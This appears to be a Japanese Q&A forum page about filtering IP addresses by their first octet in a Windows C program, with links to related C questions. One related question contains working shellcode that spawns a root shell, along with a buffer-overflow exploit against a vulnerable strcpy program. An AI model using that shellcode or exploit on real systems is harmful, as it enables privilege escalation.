• ベストアンサー

IPアドレスを抽出して出力するプログラム

下記のプログラムはIPアドレスを表示するプログラムです。for文を見てくれたら分かると思いますが、iが0~5まで繰り返し処理されるので、アドレスが5つ表示される結果になります。 このアドレスの先頭の数字(例えば「196.x.x.x」だと196)だけを見て先頭が196から始まるアドレスは表示して、先頭が196以外のアドレスは表示しないようにするにはどう書き加えればうまく実行できますか? OSはWinXPでコンパイラVC++です。 #include <stdio.h> #include <winsock2.h> #include <iphlpapi.h> int main() { DWORD i; PMIB_UDPTABLE pUdpTable; DWORD dwSize = 0; DWORD dwRetVal = 0; char *addr_ptr; if (GetUdpTable(NULL, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) { pUdpTable = (MIB_UDPTABLE *) malloc (dwSize); } if ((dwRetVal = GetUdpTable(pUdpTable, &dwSize, 0)) == NO_ERROR) { if (pUdpTable->dwNumEntries > 0) { for (i=0; i<5; i++) { addr_ptr = (char *)&pUdpTable->table[i].dwLocalAddr; printf("Your Address: %s\n", inet_ntoa(*(struct in_addr *)addr_ptr)); } } } else { printf("GetUdpTable failed.\n"); LPVOID lpMsgBuf; if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dwRetVal, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), //Default language (LPTSTR) &lpMsgBuf, 0, NULL )) { printf("\tError: %s", lpMsgBuf); } LocalFree( lpMsgBuf ); } return 0; }

noname#89227
noname#89227

質問者が選んだベストアンサー

  • ベストアンサー
回答No.1

 以下のようしては如何でしょう。 for (i=0; i<5; i++) { char buf[256]; addr_ptr = (char *)&pUdpTable->table[i].dwLocalAddr; sprintf(buf, "%s", inet_ntoa(*(struct in_addr *)addr_ptr)); if(strncmp(buf, "196", 3) == 0) printf("Your Address: %s\n", buf); }

noname#89227
質問者

お礼

 先頭が196から始まアドレスだけが表示できるようにうまく実行できました。 どうもありがとうございました。

その他の回答 (1)

  • joe-
  • ベストアンサー率34% (11/32)
回答No.2

if ((196 << 24) & pUdpTable->table[i].dwLocalAddr) とかはいかがでしょうか?

noname#89227
質問者

お礼

実行したら、警告のウィンドウが出てきました・・せっかく回答してもらったのにすみません・・・

関連するQ&A

  • for文の繰り返し処理について

     前回とは違う質問です。  下記のプログラムはIPアドレスを表示するプログラムです。先頭が196から始まるアドレスだけを表示し、それ以外から始まるアドレスは表示されないようになっています。しかしパソコンによっては5回処理を繰り返すと、ふたつ同じアドレスが表示されたり、5回繰り返しても、196から始まるアドレスがなく表示されない場合もあります。これを例えばiの数値を100にしても1000にしても、先頭が196から始まるアドレスが1つでもあれば、そこで処理が終わるようにするにはどこを改善すればうまくいきますか?お願いします。 OSはWinXPでコンパイラVC++です。 #include <stdio.h> #include <winsock2.h> #include <iphlpapi.h> int main() { DWORD i; PMIB_UDPTABLE pUdpTable; DWORD dwSize = 0; DWORD dwRetVal = 0; char *addr_ptr; if (GetUdpTable(NULL, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) { pUdpTable = (MIB_UDPTABLE *) malloc (dwSize); } if ((dwRetVal = GetUdpTable(pUdpTable, &dwSize, 0)) == NO_ERROR) { if (pUdpTable->dwNumEntries > 0) { for (i=0; i<5; i++) { char buf[256]; addr_ptr = (char *)&pUdpTable->table[i].dwLocalAddr; sprintf(buf, "%s", inet_ntoa(*(struct in_addr *)addr_ptr)); if(strncmp(buf, "196", 3) == 0) printf("Your Address: %s\n", buf); }} } else { printf("GetUdpTable failed.\n"); LPVOID lpMsgBuf; if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dwRetVal, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), //Default language (LPTSTR) &lpMsgBuf, 0, NULL )) { printf("\tError: %s", lpMsgBuf); } LocalFree( lpMsgBuf ); } return 0; }

  • NetBIOS名のエラー

    WTSOpenQuerySessionInformationを使うとき、 プログラムを動かすPCのNetBIOS名を指定するので あればNULLでよいとあったので、今日1日やってみたのですが存在しないトークンを参照しました。となります 参照方法が調べてもわからないためわかるかた アドバイスいただけるとありがたいです #include<stdio.h> #include<windows.h> #include<wtsapi32.h> #include<process.h> int main(){ /*ハンドルをオープン*/ char name; char *p; HANDLE handle; BOOL wts; DWORD error; LPVOID lpMsgBuf; LPTSTR ppBuffer; DWORD pBytesReturned; name=NULL; /*NULLを指定するとプログラムを動かしているPCを指定できる*/ p=name; printf("%p[name]\n",&name); printf("name=%p\n",name); handle =WTSOpenServer((LPTSTR)&p); /*サーバーハンドルを取得します*/ printf("handle=%p\n",handle); error=GetLastError(); printf("errorコード=%d\n",error); /*ハンドルOPENのエラーメッセージを取得してメッセージBOXに表示してます*/ FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), AKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf,0,NULL); MessageBox(NULL,(LPCTSTR)lpMsgBuf,"Error",MB_OK | MB_ICONINFORMATION); /*バッファの開放*/         LocalFree(lpMsgBuf); /*セッション情報の取得*/ wts = WTSQuerySessionInformation(          (HANDLE)&p, WTS_CURRENT_SESSION, WTSConnectState, &ppBuffer, &pBytesReturned ); printf("%p[ppBuffer]\n%p[pBytesReturned]\n",&ppBuffer,&pBytesReturned); return 0; }

  • バッファオーバーラン 環境変数参照

    今回私がやってみたいことは脆弱なプログラムにバッファオーバーランを起こさせそれを利用して環境変数に格納してあるshellcodeを実行させrootをゲットするということです。 コードは以下の通りです #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char shellcode[]= "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0" "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d" "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" "\x68"; int main(int argc , char *argv[]) { char *env[2]={shellcode,NULL}; int i; long ret,*addr_ptr; char *buffer,*ptr; buffer = malloc(40); ret = 0xbffffffa - strlen(shellcode) - strlen("./vuln2"); ptr = buffer; addr_ptr = (long *)ptr; for(i=0;i<40;i+=4) *(addr_ptr++) = ret; buffer[40-1]=0; execle("./vuln2","vuln2",buffer,0,env); free(buffer); return 0; } vuln2.cのソースです #include <string.h> int main(int argc,char *argv[]) { char buffer[5]; strcpy(buffer,argv[1]); return 0; } 実行結果です ./env Segmentation fault (コアダンプ) なぜかコアダンプしてしまいますしっかりvuln2の戻りアドレスを偽の戻りアドレス(環境変数)で上書きしているはずなのですが。 どなたかわかる方いましたら回答お願いします

  • プログラムについて

    今スタっクのファイルから読み込んだ文字列をスタっクへプっシュしたりポっプしたりする過程がわかるプログラムを作ってます 。 作りかけのプログラムですがどこをどうすればいいか教えてください!! 一応コンパイルできます。 使ってない関数があるかもしれません。 #include <stdio.h> #include <stdlib.h> #include <string.h> #define NUMBER 100 /*--- スタックを実現する構造体 ---*/ typedef struct { int max; /* スタックのサイズ */ int ptr; /* スタックポインタ */ char *stk; /* スタック(の先頭要素へのポインタ) */ } Stack; /*--- スタックの初期化 ---*/ int StackAlloc(Stack *s, int max) { s->ptr = 0; if ((s->stk = calloc(max, sizeof(int))) == NULL) { s->max = 0; /* 配列の確保に失敗 */ return (-1); } s->max = max; return (0); } /*--- スタックの後始末 ---*/ void StackFree(Stack *s) { if (s->stk != NULL) { free(s->stk); s->max = s->ptr = 0; } } /*--- スタックにデータをプッシュ ---*/ int StackPush(Stack *s, int x, int i,char *a[]) { if (s->ptr >= s->max) return (-1); if(x>=i) { puts("プッシュできる文字データはありません。"); return (-1); } strcpy(&s->stk[s->ptr++],&(*a)[x]); x++; return x; } /*--- スタックからデータをポップ ---*/ int StackPop(Stack *s, int x,char *a[]) { if (s->ptr <= 0) /* スタックは空 */ return (-1); strcpy(&s->stk[--s->ptr],&(*a)[x]); return (0); } /*--- スタックからデータをピーク ---*/ int StackPeek(const Stack *s, int *x) { if (s->ptr <= 0) /* スタックは空 */ return (-1); *x = s->stk[s->ptr - 1]; return (0); } /*--- スタックの大きさ ---*/ int StackSize(const Stack *s) { return (s->max); } /*--- スタックに積まれているデータ数 ---*/ int StackNo(const Stack *s) { return (s->ptr); } /*--- スタックは空か ---*/ int StackIsEmpty(const Stack *s) { return (s->ptr <= 0); } /*--- スタックは満杯か ---*/ int StackIsFull(const Stack *s) { return (s->ptr >= s->max); } /*--- スタックを空にする ---*/ void StackClear(Stack *s) { s->ptr = 0; } int main(void) { int i=0,j,ret,x=0; char *a[NUMBER]; char buffer[20]; FILE *fpin; Stack s; fpin=fopen("input2.txt","r"); //テキストファイルを読み取りモードで開く while(fgets(&buffer[0],sizeof(buffer),fpin) !=NULL ) { if(i>=NUMBER)//読み込む人数がNUMBERを超えてる時の処理 { puts("人数が100人を超えています"); goto END; } strcpy(&a[i][0],&buffer[0]); /*ret=sscanf(&buffer[0],"%s",&a[i][0]); //データ文字列を3分割 if(ret!=1) //1に分割できなかったときの処理 { puts("代入された入力項目の個数が3でありません"); goto END; }*/ i++; } for(j=0; j<i; j++) printf("%s\n",&(*a)[j]); if (StackAlloc(&s, 100) == -1) { puts("スタックの確保に失敗しました。"); return (1); } while (1) { int m; printf("現在のデータ数:%d/%d\n", StackNo(&s), StackSize(&s)); printf("(1) プッシュ (2) ポップ (0) 終了:"); scanf("%d", &m); if (m == 0) break; switch (m) { case 1: printf("データ:"); puts("こんちくしょ~"); if(StackPush(&s, x,i,&(*a)) == -1) puts("スタックへのプッシュに失敗しました。"); break; case 2: if(StackPop(&s, x,&(*a)) == -1) puts("ポップできません。"); else printf("ポップしたデータは%sです。\n", &s.stk[s.ptr]); break; } } StackFree(&s); END: fclose(fpin); return (0); }

  • MACアドレス C言語

    eclipseでインターネットにあるMACアドレスを取得するプログラムをコピペしました。 それでMACアドレスが正常に取得されているかどうかはどこでわかるのでしょうか? ソースコードを貼り付けさせて頂きます。(C言語で御座います。) #include <stdio.h> #include <string.h> #include <ifaddrs.h> #include <sys/socket.h> #include <net/if.h> #include <net/if_dl.h> #include <net/if_types.h> int main() { struct ifaddrs *ifa_list, *ifa; struct sockaddr_dl *dl; char name[12]; unsigned char *addr; if (getifaddrs(&ifa_list) < 0) { return 1; } for (ifa = ifa_list; ifa != NULL; ifa = ifa->ifa_next) { dl = (struct sockaddr_dl*)ifa->ifa_addr; if (dl->sdl_family == AF_LINK && dl->sdl_type == IFT_ETHER) { memcpy(name, dl->sdl_data, dl->sdl_nlen); name[dl->sdl_nlen] = '\0'; addr = LLADDR(dl); printf("%s: %02x:%02x:%02x:%02x:%02x:%02x\n", name, addr[0], addr[1], addr[2], addr[3], addr[4], addr[5]); } } freeifaddrs(ifa_list); return 0; } eclipseのコンソール画面には何も出ないので困っています。 非常に馬鹿ですがキーワードだけでも零してもらえると嬉しいです。

  • 単方向リスト

    #include<stdio.h> #include<stdlib.h> #include<string.h> struct Address{ char name[100]; char tel[100]; char email[100]; }; struct AddressList { struct Address addr; //データそのもの struct AddressList *next; //後続ノードへのポインタ struct AddressList *prev; }; struct AddressList *this,*last,*new,*first; struct Address *addr; /*--------ここからmain関数------------*/ int main(void){ int n,i; //何番目に入れるか? char quit[100]; //繰り返しを止める時に利用。 first=last=NULL; //まず初期化 addr =(struct Address *)malloc(sizeof(struct Address)); if(addr==NULL){ fprintf(stderr,"malloc:error\n"); exit(1); } while(-1){ printf("整数を入力してください。\n"); scanf("%d",&n); printf("名前を入力してください。\n"); scanf("%s",addr->name); printf("電話番号を入力してください。\n"); scanf("%s",addr->tel); printf("メールアドレスを入力してください。\n"); scanf("%s",addr->email); new =(struct AddressList *)malloc(sizeof(struct AddressList)); //新たに加えるリストの動的メモリー確保 if(new==NULL){ fprintf(stderr,"malloc:error\n"); exit(1); } new->addr=addr; //ここでエラーが発生します。 new->next=NULL; incompatible types in assignment とエラーがでます。 型はあってると思うんですが、、、 よろしくおねがいします。

  • プログラムの合成願い

    あらかじめ行列の数がわかっているN行*M列のエクセルデータをCSV形式にし、 読み込むプログラムを作成しました。 そのプログラムを下に示します #include <stdio.h> #include <stdlib.h> #include <string.h> /* 確保するデータ保存領域の大きさ(N行×M列) */ #define N 23 #define M 6 /* データの区切り文字*/ #define SEP_DATA',' int csv_read(char filename[], double csv[N][M]) { /* ファイルオープン*/ FILE *fp; if( (fp = fopen(filename, "r")) == NULL ) { printf(" file open error!!\n"); return -1; } /* 1行毎に読み出し*/ char line[256], *ptr; int i, j, k; i=0; while (fgets(line, 256, fp) != NULL) { printf("*%s", line); ptr = line; j=0; do{ /* line[j]から次のタブ文字までを数値に変換*/ csv[i][j] = atof(ptr); /* 次のタブ文字の位置を探す*/ ptr = strchr(ptr, SEP_DATA); /* タブ文字の次の文字を示す*/ if (ptr!=NULL) { ptr++; } j++; }while(ptr!=NULL && j<M); i++; } /* ファイルクローズ*/ fclose(fp); return 0; } int main(int argv, char *argc[]) { char filename[256]; if( argv > 1){ strcpy(filename, argc[1]); } else { printf("Please Input Filename:"); scanf("%s", filename); } /* データ保存用の領域を確保*/ double (*csvdata)[M]; csvdata = (double(*)[M])malloc(sizeof(double[M]) * N); //malloc(sizeof(*csvdata) * N); if ( csvdata == NULL ){ return -1; } int i,j; /* 配列の初期化*/ for( i=0; i<N; i++) { for( j=0; j<M; j++) { csvdata[i][j] = 0.0; } } /* CSVデータの読み込み*/ if( csv_read(filename, csvdata) < 0 ) { return -1; } /* 配列の出力*/ for( i=0; i<N; i++) { printf("%lf", csvdata[i][0]); for( j=1; j<M; j++) { printf("\t%lf", csvdata[i][j]); } printf("\n"); } free(csvdata); csvdata = NULL; return 0; } また、行列の数を計算するプログラムを作成しました。(プログラムは別途URLを書き込みます) http://www.kent-web.com/pubc/book/test/uploader/uploader.cgi?mode=downld&no=3797 これら二つのプログラムを合わせかたがわかりません。 プログラムで示していただきたいです。お願いします。 環境はC++です。

  • 10個出力で改行したいのですが・・・

    #include <stdio.h> main() { int i, n; for( i = 1, n = 0; n < i; i++ )    { if(i%3 == 2 && i%4 == 1 && i<1000 ) {  printf("%4d,",i);   if(i%10==0)        printf("\n");    n++;       }    } printf("\n"); } このプログラムは、3で割ると2余り、4で割ると1余る自然数で1000より小さいものを小さい順に表示するもので、 一行に10個ずつ表示して改行したいのですが、どうすればいいでしょうか? if文が間違っていると思うのですが・・・

  • プログラムが動きません。

    プログラムが動きません。 ファイルuniqipにはIPアドレスが書き込まれています。そのファイルからIPアドレスを文字列ipに格納します。 ファイルtmp4には、85.114.143.2 34f4ff4acb18802170a939ae42dcd5ee0eeccda4 のようにIPアドレスとハッシュ値が書き込まれています。 tmp4に現れるIPアドレスで、uniqipに一致するものに対応するハッシュ値を printf("file%d,%s\n",i,hash); の形で出力しようと思いましたが、うまくいきません。 何がまずいのでしょうか? #include <stdio.h> #include <string.h> //ひとつのIPアドレスに現れるユニークなハッシュ値の数をカウントする int main() { FILE *fp,*gp; char ip[269730][16]; char ip2[16]; char hash[42]; int i,j; fp = fopen("uniqip","r"); if(fp == NULL){ printf("can not open the file.\n"); return 1; } for(i=0;i<267930;i++) { fscanf(fp,"%s",ip[i]); //printf("%s\n",ip[i]); } fclose(fp); ////////////////////////////////////////////////////////////////////////////////////////////////////// gp = fopen("tmp4","r"); if(gp == NULL){ printf("can not open the file.\n"); return 1; } for(i=0;i<267930;i++){ for(j=0;j<2470766;j++){ fscanf(gp,"%s %s",ip2,hash); printf("%s\n",ip[i]); if(!strcmp(ip[i],ip2)) { printf("file%d,%s\n",i,hash); } } } return 0; }

  • char型をfloat型に変換

    GPSからシリアルポートに流れてくるコンマ区切りのフォーマットをいったんcharにいれて、トークンでぶちぶち切って、違う変数に格納したいです。 流れてくるデータは、 $GPGGA,042449.00,3449.30669291,N,13531.38645000,E,1,4,4.4,81.885,M,34.255,M,,*6D のような数値です。緯度経度や日付等のデータです。 緯度や経度の数値をfloatやdoubleに変換して変数に格納したいのですが、どうしたらよいでしょうか? そのまましたらエラーが出てしまいます。 以下は数値をブチブチ切って表示させるプログラムです。 #include <windows.h> #include <stdio.h> int main(void) { char szSend[] = "$GPGGA,000000.00,0000.00000000,N,00000.00000000,E,0,0,0.0,00.000,M,00.000,M,,*00"; char szBuf[sizeof(szSend)]="$GPGGA,042449.00,3449.30669291,N,13531.38645000,E,1,4,4.4,81.885,M,34.255,M,,*6D"; char *ptr; ptr=strtok(szBuf,","); printf("%s\n",ptr);//$GPGGA ptr=strtok(NULL,","); printf("%s\n",ptr);//時間 ptr=strtok(NULL,","); printf("%s\n",ptr);//緯度 ptr=strtok(NULL,","); printf("%s\n",ptr);//N北 ptr=strtok(NULL,","); printf("%s\n",ptr);//経度 ptr=strtok(NULL,","); printf("%s\n",ptr);//E東 ptr=strtok(NULL,","); ・ ・ ・ ・ return 0; } コンパイラはmicrosoftvisualC++6.0です。 floatとかboubleにしたいのは緯度や経度の数値を計算して扱いやすいデータにするためです。 よろしくお願いします。